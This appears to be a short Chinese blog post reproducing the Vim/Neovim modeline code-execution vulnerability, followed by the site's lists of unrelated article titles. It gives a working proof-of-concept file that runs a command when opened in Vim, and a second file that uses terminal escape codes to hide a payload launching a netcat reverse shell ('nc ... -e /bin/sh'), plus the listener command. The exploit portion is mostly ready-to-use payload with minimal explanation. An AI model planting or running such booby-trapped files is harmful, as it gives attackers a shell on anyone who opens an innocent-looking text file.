受影响版本:

Vim < 8.1.1365, Neovim < 0.3.6

前提:开启modeline

0x01 开启modeline

在你的home下的.vimrc文件中增加一行:

set modeline

0x02 Poc

创建文件poc.txt,内容为

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

输入命令 $vim poc.txt

系统将会执行uname -a

0x03 反弹shell

创建shell.txt,内容如下

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

开启两个终端:

一个输入命令 $nc -lvvp 9999

另一个命令为 $vim shell.txt

成功反弹shell

参考链接:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

最新文章

  1. IE下只读INPUT键入BACKSPACE 后退问题(readonly=&#39;true&#39;)
  2. php一些技巧函数
  3. Highcharts导出gb2312乱码问题
  4. [Flex] Accodion系列 - Header文本颜色设置
  5. atprogram.exe : Atmel Studio Command Line Interface
  6. List&lt;HashMap&gt;和HashMap
  7. POJ 1734 Sightseeing trip
  8. JD-GUI on Ubuntu 13.04 64-bit
  9. linux系统CPU,内存,磁盘,网络流量监控脚本
  10. Orcle导入导出dmp文件
  11. How to Collect Bne Log Files for GL Integrators
  12. leetcode — restore-ip-addresses
  13. Win10系列:C#应用控件进阶1
  14. 探秘小程序(8):scroll-view组件
  15. 【Alpha阶段】展示博客发布!
  16. python工具 - alert弹框输出姓名年龄、求和
  17. beyondCompare工具使用
  18. 二叉堆复习(包括d堆)
  19. mysql主从复制以及读写分离
  20. ubuntu,windows 卸载安装mysql

热门文章

  1. Servlet2.5版本和Servlet3.0版本
  2. svn密码找回
  3. IDEA下同时使用Git和svn
  4. (转)在高分辨率下eclipse,STS,等软件工具栏图标过小的问题方法总结
  5. Influx Sql系列教程三:measurement 表
  6. linux echo -e 处理特殊字符
  7. PHP阿里大于发短信教程
  8. Linux thread process and kernel mode and user mode page table
  9. JAVA多态中的隐藏和覆盖
  10. SpringBoot配置文件敏感信息加密-jasypt